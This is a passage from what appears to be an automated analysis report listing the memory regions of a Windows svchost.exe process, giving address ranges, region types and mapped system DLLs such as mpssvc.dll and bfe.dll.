	            name = "firewallapi.dll"
	        filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll")

Region:
	              id = 1633
	        start_va = 0xcd2c3b0000
	          end_va = 0xcd2c3b6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2c3b0000"
	        filename = ""

Region:
	              id = 1634
	        start_va = 0xcd2c400000
	          end_va = 0xcd2c4fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2c400000"
	        filename = ""

Region:
	              id = 1635
	        start_va = 0xcd2c500000
	          end_va = 0xcd2c687fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000cd2c500000"
	        filename = ""

Region:
	              id = 1636
	        start_va = 0xcd2c690000
	          end_va = 0xcd2c810fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000cd2c690000"
	        filename = ""

Region:
	              id = 1637
	        start_va = 0xcd2c820000
	          end_va = 0xcd2c91ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2c820000"
	        filename = ""

Region:
	              id = 1638
	        start_va = 0xcd2c920000
	          end_va = 0xcd2c99ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2c920000"
	        filename = ""

Region:
	              id = 1639
	        start_va = 0xcd2ca00000
	          end_va = 0xcd2cafffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2ca00000"
	        filename = ""

Region:
	              id = 1640
	        start_va = 0xcd2cb00000
	          end_va = 0xcd2cbfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2cb00000"
	        filename = ""

Region:
	              id = 1641
	        start_va = 0xcd2cc00000
	          end_va = 0xcd2ccfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2cc00000"
	        filename = ""

Region:
	              id = 1642
	        start_va = 0xcd2cd00000
	          end_va = 0xcd2cdfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2cd00000"
	        filename = ""

Region:
	              id = 1643
	        start_va = 0xcd2ce00000
	          end_va = 0xcd2cefffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2ce00000"
	        filename = ""

Region:
	              id = 1644
	        start_va = 0xcd2cf00000
	          end_va = 0xcd2cffffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2cf00000"
	        filename = ""

Region:
	              id = 1645
	        start_va = 0xcd2d000000
	          end_va = 0xcd2d0fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2d000000"
	        filename = ""

Region:
	              id = 1646
	        start_va = 0xcd2d100000
	          end_va = 0xcd2d1fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2d100000"
	        filename = ""

Region:
	              id = 1647
	        start_va = 0xcd2d200000
	          end_va = 0xcd2d2fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2d200000"
	        filename = ""

Region:
	              id = 1648
	        start_va = 0xcd2d300000
	          end_va = 0xcd2d3fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2d300000"
	        filename = ""

Region:
	              id = 1649
	        start_va = 0xcd2d400000
	          end_va = 0xcd2d4fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2d400000"
	        filename = ""

Region:
	              id = 1650
	        start_va = 0xcd2d500000
	          end_va = 0xcd2d5fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2d500000"
	        filename = ""

Region:
	              id = 1651
	        start_va = 0xcd2d600000
	          end_va = 0xcd2d6fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2d600000"
	        filename = ""

Region:
	              id = 1652
	        start_va = 0xcd2d700000
	          end_va = 0xcd2defffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2d700000"
	        filename = ""

Region:
	              id = 1653
	        start_va = 0xcd2df00000
	          end_va = 0xcd2dffffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2df00000"
	        filename = ""

Region:
	              id = 1654
	        start_va = 0xcd2e000000
	          end_va = 0xcd2e0fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2e000000"
	        filename = ""

Region:
	              id = 1655
	        start_va = 0xcd2e100000
	          end_va = 0xcd2e1fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2e100000"
	        filename = ""

Region:
	              id = 1656
	        start_va = 0xcd2e200000
	          end_va = 0xcd2e2fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2e200000"
	        filename = ""

Region:
	              id = 1657
	        start_va = 0xcd2e300000
	          end_va = 0xcd2e3fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2e300000"
	        filename = ""

Region:
	              id = 1658
	        start_va = 0xcd2e400000
	          end_va = 0xcd2e4fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2e400000"
	        filename = ""

Region:
	              id = 1659
	        start_va = 0xcd2e500000
	          end_va = 0xcd2e836fff
	     entry_point = 0xcd2e500000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 1660
	        start_va = 0xcd2e900000
	          end_va = 0xcd2e9fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2e900000"
	        filename = ""

Region:
	              id = 1661
	        start_va = 0xcd2ea00000
	          end_va = 0xcd2eafffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2ea00000"
	        filename = ""

Region:
	              id = 1662
	        start_va = 0xcd2eb00000
	          end_va = 0xcd2ebfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2eb00000"
	        filename = ""

Region:
	              id = 1663
	        start_va = 0xcd2ec00000
	          end_va = 0xcd2ecfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2ec00000"
	        filename = ""

Region:
	              id = 1664
	        start_va = 0xcd2ed00000
	          end_va = 0xcd2edfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2ed00000"
	        filename = ""

Region:
	              id = 1665
	        start_va = 0xcd2ee00000
	          end_va = 0xcd2eefffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2ee00000"
	        filename = ""

Region:
	              id = 1666
	        start_va = 0xcd2ef00000
	          end_va = 0xcd2effffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2ef00000"
	        filename = ""

Region:
	              id = 1667
	        start_va = 0xcd2f000000
	          end_va = 0xcd2f0fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2f000000"
	        filename = ""

Region:
	              id = 1668
	        start_va = 0xcd2f400000
	          end_va = 0xcd2f4fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2f400000"
	        filename = ""

Region:
	              id = 1669
	        start_va = 0xcd2f620000
	          end_va = 0xcd2f7cbfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2f620000"
	        filename = ""

Region:
	              id = 1670
	        start_va = 0xcd2f7d0000
	          end_va = 0xcd3014ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd2f7d0000"
	        filename = ""

Region:
	              id = 1671
	        start_va = 0xcd30150000
	          end_va = 0xcd3d216fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd30150000"
	        filename = ""

Region:
	              id = 1672
	        start_va = 0xcd4ffe0000
	          end_va = 0xcd500dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd4ffe0000"
	        filename = ""

Region:
	              id = 1673
	        start_va = 0xcd500e0000
	          end_va = 0xcd501dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd500e0000"
	        filename = ""

Region:
	              id = 1674
	        start_va = 0xcd501e0000
	          end_va = 0xcd502dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd501e0000"
	        filename = ""

Region:
	              id = 1675
	        start_va = 0xcd50300000
	          end_va = 0xcd503fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd50300000"
	        filename = ""

Region:
	              id = 1676
	        start_va = 0xcd50400000
	          end_va = 0xcd504fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd50400000"
	        filename = ""

Region:
	              id = 1677
	        start_va = 0xcd50500000
	          end_va = 0xcd50506fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd50500000"
	        filename = ""

Region:
	              id = 1678
	        start_va = 0xcd50600000
	          end_va = 0xcd506fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd50600000"
	        filename = ""

Region:
	              id = 1679
	        start_va = 0xcd50700000
	          end_va = 0xcd507fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd50700000"
	        filename = ""

Region:
	              id = 1680
	        start_va = 0xcd50800000
	          end_va = 0xcd508fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd50800000"
	        filename = ""

Region:
	              id = 1681
	        start_va = 0xcd50920000
	          end_va = 0xcd50926fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd50920000"
	        filename = ""

Region:
	              id = 1682
	        start_va = 0xcd50a00000
	          end_va = 0xcd50afffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd50a00000"
	        filename = ""

Region:
	              id = 1683
	        start_va = 0xcd50b00000
	          end_va = 0xcd50d00fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd50b00000"
	        filename = ""

Region:
	              id = 1684
	        start_va = 0xcd50e00000
	          end_va = 0xcd50efffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd50e00000"
	        filename = ""

Region:
	              id = 1685
	        start_va = 0xcd50f00000
	          end_va = 0xcd50ffffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd50f00000"
	        filename = ""

Region:
	              id = 1686
	        start_va = 0xcd51300000
	          end_va = 0xcd513fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd51300000"
	        filename = ""

Region:
	              id = 1687
	        start_va = 0xcd51400000
	          end_va = 0xcd514fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd51400000"
	        filename = ""

Region:
	              id = 1688
	        start_va = 0xcd51500000
	          end_va = 0xcdb9b29fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000cd51500000"
	        filename = ""

Region:
	              id = 1689
	        start_va = 0x7df5ff990000
	          end_va = 0x7ff5ff98ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007df5ff990000"
	        filename = ""

Region:
	              id = 1690
	        start_va = 0x7ff7b3276000
	          end_va = 0x7ff7b3277fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3276000"
	        filename = ""

Region:
	              id = 1691
	        start_va = 0x7ff7b3278000
	          end_va = 0x7ff7b3279fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3278000"
	        filename = ""

Region:
	              id = 1692
	        start_va = 0x7ff7b327a000
	          end_va = 0x7ff7b327bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b327a000"
	        filename = ""

Region:
	              id = 1693
	        start_va = 0x7ff7b327e000
	          end_va = 0x7ff7b327ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b327e000"
	        filename = ""

Region:
	              id = 1694
	        start_va = 0x7ff7b3280000
	          end_va = 0x7ff7b3281fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3280000"
	        filename = ""

Region:
	              id = 1695
	        start_va = 0x7ff7b3282000
	          end_va = 0x7ff7b3283fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3282000"
	        filename = ""

Region:
	              id = 1696
	        start_va = 0x7ff7b3284000
	          end_va = 0x7ff7b3285fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3284000"
	        filename = ""

Region:
	              id = 1697
	        start_va = 0x7ff7b3286000
	          end_va = 0x7ff7b3287fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3286000"
	        filename = ""

Region:
	              id = 1698
	        start_va = 0x7ff7b3288000
	          end_va = 0x7ff7b3289fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3288000"
	        filename = ""

Region:
	              id = 1699
	        start_va = 0x7ff7b328a000
	          end_va = 0x7ff7b328bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b328a000"
	        filename = ""

Region:
	              id = 1700
	        start_va = 0x7ff7b328c000
	          end_va = 0x7ff7b328dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b328c000"
	        filename = ""

Region:
	              id = 1701
	        start_va = 0x7ff7b328e000
	          end_va = 0x7ff7b328ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b328e000"
	        filename = ""

Region:
	              id = 1702
	        start_va = 0x7ff7b3290000
	          end_va = 0x7ff7b3291fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3290000"
	        filename = ""

Region:
	              id = 1703
	        start_va = 0x7ff7b3292000
	          end_va = 0x7ff7b3293fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3292000"
	        filename = ""

Region:
	              id = 1704
	        start_va = 0x7ff7b3294000
	          end_va = 0x7ff7b3295fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3294000"
	        filename = ""

Region:
	              id = 1705
	        start_va = 0x7ff7b3296000
	          end_va = 0x7ff7b3297fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3296000"
	        filename = ""

Region:
	              id = 1706
	        start_va = 0x7ff7b3298000
	          end_va = 0x7ff7b3299fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3298000"
	        filename = ""

Region:
	              id = 1707
	        start_va = 0x7ff7b329a000
	          end_va = 0x7ff7b329bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b329a000"
	        filename = ""

Region:
	              id = 1708
	        start_va = 0x7ff7b329c000
	          end_va = 0x7ff7b329dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b329c000"
	        filename = ""

Region:
	              id = 1709
	        start_va = 0x7ff7b329e000
	          end_va = 0x7ff7b329ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b329e000"
	        filename = ""

Region:
	              id = 1710
	        start_va = 0x7ff7b32a0000
	          end_va = 0x7ff7b339ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7b32a0000"
	        filename = ""

Region:
	              id = 1711
	        start_va = 0x7ff7b33a0000
	          end_va = 0x7ff7b33c2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00007ff7b33a0000"
	        filename = ""

Region:
	              id = 1712
	        start_va = 0x7ff7b33c3000
	          end_va = 0x7ff7b33c3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b33c3000"
	        filename = ""

Region:
	              id = 1713
	        start_va = 0x7ff7b33c4000
	          end_va = 0x7ff7b33c5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b33c4000"
	        filename = ""

Region:
	              id = 1714
	        start_va = 0x7ff7b33c6000
	          end_va = 0x7ff7b33c7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b33c6000"
	        filename = ""

Region:
	              id = 1715
	        start_va = 0x7ff7b33c8000
	          end_va = 0x7ff7b33c9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b33c8000"
	        filename = ""

Region:
	              id = 1716
	        start_va = 0x7ff7b33ca000
	          end_va = 0x7ff7b33cbfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b33ca000"
	        filename = ""

Region:
	              id = 1717
	        start_va = 0x7ff7b33cc000
	          end_va = 0x7ff7b33cdfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b33cc000"
	        filename = ""

Region:
	              id = 1718
	        start_va = 0x7ff7b33ce000
	          end_va = 0x7ff7b33cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b33ce000"
	        filename = ""

Region:
	              id = 1719
	        start_va = 0x7ff7b3dc0000
	          end_va = 0x7ff7b3dccfff
	     entry_point = 0x7ff7b3dc0000
	     region_type = mapped_file
	            name = "svchost.exe"
	        filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe")

Region:
	              id = 1720
	        start_va = 0x7ffbf5460000
	          end_va = 0x7ffbf58c9fff
	     entry_point = 0x7ffbf5460000
	     region_type = mapped_file
	            name = "actxprxy.dll"
	        filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll")

Region:
	              id = 1721
	        start_va = 0x7ffbf5c30000
	          end_va = 0x7ffbf5c4cfff
	     entry_point = 0x7ffbf5c30000
	     region_type = mapped_file
	            name = "radardt.dll"
	        filename = "\\Windows\\System32\\radardt.dll" (normalized: "c:\\windows\\system32\\radardt.dll")

Region:
	              id = 1722
	        start_va = 0x7ffbf6ea0000
	          end_va = 0x7ffbf6ed7fff
	     entry_point = 0x7ffbf6ea0000
	     region_type = mapped_file
	            name = "srumsvc.dll"
	        filename = "\\Windows\\System32\\srumsvc.dll" (normalized: "c:\\windows\\system32\\srumsvc.dll")

Region:
	              id = 1723
	        start_va = 0x7ffbf7160000
	          end_va = 0x7ffbf7441fff
	     entry_point = 0x7ffbf7160000
	     region_type = mapped_file
	            name = "esent.dll"
	        filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll")

Region:
	              id = 1724
	        start_va = 0x7ffbf75a0000
	          end_va = 0x7ffbf75b2fff
	     entry_point = 0x7ffbf75a0000
	     region_type = mapped_file
	            name = "srumapi.dll"
	        filename = "\\Windows\\System32\\srumapi.dll" (normalized: "c:\\windows\\system32\\srumapi.dll")

Region:
	              id = 1725
	        start_va = 0x7ffbf75c0000
	          end_va = 0x7ffbf75d2fff
	     entry_point = 0x7ffbf75c0000
	     region_type = mapped_file
	            name = "energyprov.dll"
	        filename = "\\Windows\\System32\\energyprov.dll" (normalized: "c:\\windows\\system32\\energyprov.dll")

Region:
	              id = 1726
	        start_va = 0x7ffbf75e0000
	          end_va = 0x7ffbf75ecfff
	     entry_point = 0x7ffbf75e0000
	     region_type = mapped_file
	            name = "ncuprov.dll"
	        filename = "\\Windows\\System32\\ncuprov.dll" (normalized: "c:\\windows\\system32\\ncuprov.dll")

Region:
	              id = 1727
	        start_va = 0x7ffbf75f0000
	          end_va = 0x7ffbf75fdfff
	     entry_point = 0x7ffbf75f0000
	     region_type = mapped_file
	            name = "wpnsruprov.dll"
	        filename = "\\Windows\\System32\\wpnsruprov.dll" (normalized: "c:\\windows\\system32\\wpnsruprov.dll")

Region:
	              id = 1728
	        start_va = 0x7ffbf7600000
	          end_va = 0x7ffbf7616fff
	     entry_point = 0x7ffbf7600000
	     region_type = mapped_file
	            name = "appsruprov.dll"
	        filename = "\\Windows\\System32\\appsruprov.dll" (normalized: "c:\\windows\\system32\\appsruprov.dll")

Region:
	              id = 1729
	        start_va = 0x7ffbf7620000
	          end_va = 0x7ffbf763afff
	     entry_point = 0x7ffbf7620000
	     region_type = mapped_file
	            name = "eeprov.dll"
	        filename = "\\Windows\\System32\\eeprov.dll" (normalized: "c:\\windows\\system32\\eeprov.dll")

Region:
	              id = 1730
	        start_va = 0x7ffbf7640000
	          end_va = 0x7ffbf7654fff
	     entry_point = 0x7ffbf7640000
	     region_type = mapped_file
	            name = "nduprov.dll"
	        filename = "\\Windows\\System32\\nduprov.dll" (normalized: "c:\\windows\\system32\\nduprov.dll")

Region:
	              id = 1731
	        start_va = 0x7ffbf7b20000
	          end_va = 0x7ffbf7b28fff
	     entry_point = 0x7ffbf7b20000
	     region_type = mapped_file
	            name = "pnpts.dll"
	        filename = "\\Windows\\System32\\pnpts.dll" (normalized: "c:\\windows\\system32\\pnpts.dll")

Region:
	              id = 1732
	        start_va = 0x7ffbf7b30000
	          end_va = 0x7ffbf7b3dfff
	     entry_point = 0x7ffbf7b30000
	     region_type = mapped_file
	            name = "npmproxy.dll"
	        filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll")

Region:
	              id = 1733
	        start_va = 0x7ffbf7b40000
	          end_va = 0x7ffbf7ca5fff
	     entry_point = 0x7ffbf7b40000
	     region_type = mapped_file
	            name = "diagperf.dll"
	        filename = "\\Windows\\System32\\diagperf.dll" (normalized: "c:\\windows\\system32\\diagperf.dll")

Region:
	              id = 1734
	        start_va = 0x7ffbf9380000
	          end_va = 0x7ffbf96f5fff
	     entry_point = 0x7ffbf9380000
	     region_type = mapped_file
	            name = "iertutil.dll"
	        filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll")

Region:
	              id = 1735
	        start_va = 0x7ffbf9700000
	          end_va = 0x7ffbf980efff
	     entry_point = 0x7ffbf9700000
	     region_type = mapped_file
	            name = "mrmcorer.dll"
	        filename = "\\Windows\\System32\\MrmCoreR.dll" (normalized: "c:\\windows\\system32\\mrmcorer.dll")

Region:
	              id = 1736
	        start_va = 0x7ffbf99c0000
	          end_va = 0x7ffbf9a1efff
	     entry_point = 0x7ffbf99c0000
	     region_type = mapped_file
	            name = "wlanapi.dll"
	        filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll")

Region:
	              id = 1737
	        start_va = 0x7ffbf9af0000
	          end_va = 0x7ffbf9afbfff
	     entry_point = 0x7ffbf9af0000
	     region_type = mapped_file
	            name = "wfapigp.dll"
	        filename = "\\Windows\\System32\\wfapigp.dll" (normalized: "c:\\windows\\system32\\wfapigp.dll")

Region:
	              id = 1738
	        start_va = 0x7ffbf9c90000
	          end_va = 0x7ffbf9c97fff
	     entry_point = 0x7ffbf9c90000
	     region_type = mapped_file
	            name = "wship6.dll"
	        filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")

Region:
	              id = 1739
	        start_va = 0x7ffbf9ca0000
	          end_va = 0x7ffbf9ca7fff
	     entry_point = 0x7ffbf9ca0000
	     region_type = mapped_file
	            name = "wshtcpip.dll"
	        filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll")

Region:
	              id = 1740
	        start_va = 0x7ffbf9d70000
	          end_va = 0x7ffbf9d79fff
	     entry_point = 0x7ffbf9d70000
	     region_type = mapped_file
	            name = "wshqos.dll"
	        filename = "\\Windows\\System32\\wshqos.dll" (normalized: "c:\\windows\\system32\\wshqos.dll")

Region:
	              id = 1741
	        start_va = 0x7ffbf9f60000
	          end_va = 0x7ffbf9f7cfff
	     entry_point = 0x7ffbf9f60000
	     region_type = mapped_file
	            name = "wdi.dll"
	        filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll")

Region:
	              id = 1742
	        start_va = 0x7ffbfa220000
	          end_va = 0x7ffbfa25efff
	     entry_point = 0x7ffbfa220000
	     region_type = mapped_file
	            name = "netprofm.dll"
	        filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll")

Region:
	              id = 1743
	        start_va = 0x7ffbfad90000
	          end_va = 0x7ffbfadbefff
	     entry_point = 0x7ffbfad90000
	     region_type = mapped_file
	            name = "dps.dll"
	        filename = "\\Windows\\System32\\dps.dll" (normalized: "c:\\windows\\system32\\dps.dll")

Region:
	              id = 1744
	        start_va = 0x7ffbfb2c0000
	          end_va = 0x7ffbfb2c9fff
	     entry_point = 0x7ffbfb2c0000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")

Region:
	              id = 1745
	        start_va = 0x7ffbfba40000
	          end_va = 0x7ffbfba49fff
	     entry_point = 0x7ffbfba40000
	     region_type = mapped_file
	            name = "adhapi.dll"
	        filename = "\\Windows\\System32\\adhapi.dll" (normalized: "c:\\windows\\system32\\adhapi.dll")

Region:
	              id = 1746
	        start_va = 0x7ffbfba50000
	          end_va = 0x7ffbfbae1fff
	     entry_point = 0x7ffbfba50000
	     region_type = mapped_file
	            name = "msvcp110_win.dll"
	        filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll")

Region:
	              id = 1747
	        start_va = 0x7ffbfbaf0000
	          end_va = 0x7ffbfbb28fff
	     entry_point = 0x7ffbfbaf0000
	     region_type = mapped_file
	            name = "policymanager.dll"
	        filename = "\\Windows\\System32\\policymanager.dll" (normalized: "c:\\windows\\system32\\policymanager.dll")

Region:
	              id = 1748
	        start_va = 0x7ffbfbb30000
	          end_va = 0x7ffbfbb38fff
	     entry_point = 0x7ffbfbb30000
	     region_type = mapped_file
	            name = "httpprxc.dll"
	        filename = "\\Windows\\System32\\httpprxc.dll" (normalized: "c:\\windows\\system32\\httpprxc.dll")

Region:
	              id = 1749
	        start_va = 0x7ffbfbd20000
	          end_va = 0x7ffbfbd54fff
	     entry_point = 0x7ffbfbd20000
	     region_type = mapped_file
	            name = "fwpolicyiomgr.dll"
	        filename = "\\Windows\\System32\\fwpolicyiomgr.dll" (normalized: "c:\\windows\\system32\\fwpolicyiomgr.dll")

Region:
	              id = 1750
	        start_va = 0x7ffbfbd60000
	          end_va = 0x7ffbfbe39fff
	     entry_point = 0x7ffbfbd60000
	     region_type = mapped_file
	            name = "mpssvc.dll"
	        filename = "\\Windows\\System32\\MPSSVC.dll" (normalized: "c:\\windows\\system32\\mpssvc.dll")

Region:
	              id = 1751
	        start_va = 0x7ffbfbe40000
	          end_va = 0x7ffbfbe75fff
	     entry_point = 0x7ffbfbe40000
	     region_type = mapped_file
	            name = "xmllite.dll"
	        filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll")

Region:
	              id = 1752
	        start_va = 0x7ffbfbe80000
	          end_va = 0x7ffbfbf49fff
	     entry_point = 0x7ffbfbe80000
	     region_type = mapped_file
	            name = "bfe.dll"
	        filename = "\\Windows\\System32\\BFE.DLL" (normalized: "c:\\windows\\system32\\bfe.dll")

Region:
	              id = 1753
	        start_va = 0x7ffbfc740000
	          end_va = 0x7ffbfc831fff
	     entry_point = 0x7ffbfc740000
	     region_type = mapped_file
	            name = "ucrtbase.dll"
	        filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll")

Region:
	              id = 1754
	        start_va = 0x7ffbfc840000
	          end_va = 0x7ffbfc8dafff
	     entry_point = 0x7ffbfc840000
	     region_type = mapped_file
	            name = "msvcp_win.dll"
	        filename = "\\Windows\\System32\\msvcp_win.dll" (normalized: "c:\\windows\\system32\\msvcp_win.dll")

Region:
	              id = 1755
	        start_va = 0x7ffbfced0000
	          end_va = 0x7ffbfcf37fff
	     entry_point = 0x7ffbfced0000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")

Region:
	              id = 1756
	        start_va = 0x7ffbfcfa0000
	          end_va = 0x7ffbfcfb9fff
	     entry_point = 0x7ffbfcfa0000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")

Region:
	              id = 1757
	        start_va = 0x7ffbfcfc0000
	          end_va = 0x7ffbfcfd5fff
	     entry_point = 0x7ffbfcfc0000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")

Region:
	              id = 1758
	        start_va = 0x7ffbfd340000
	          end_va = 0x7ffbfd355fff
	     entry_point = 0x7ffbfd340000
	     region_type = mapped_file
	            name = "wkscli.dll"
	        filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll")

Region:
	              id = 1759
	        start_va = 0x7ffbfd9f0000
	          end_va = 0x7ffbfdaaffff
	     entry_point = 0x7ffbfd9f0000
	     region_type = mapped_file
	            name = "taskschd.dll"
	        filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll")

Region:
	              id = 1760
	        start_va = 0x7ffbfdeb0000
	          end_va = 0x7ffbfdf14fff
	     entry_point = 0x7ffbfdeb0000
	     region_type = mapped_file
	            name = "wevtapi.dll"
	        filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll")

Region:
	              id = 1761
	        start_va = 0x7ffbfe0d0000
	          end_va = 0x7ffbfe0dafff
	     entry_point = 0x7ffbfe0d0000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 1762
	        start_va = 0x7ffbfe0f0000
	          end_va = 0x7ffbfe127fff
	     entry_point = 0x7ffbfe0f0000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 1763
	        start_va = 0x7ffbfe5c0000
	          end_va = 0x7ffbfe5d2fff
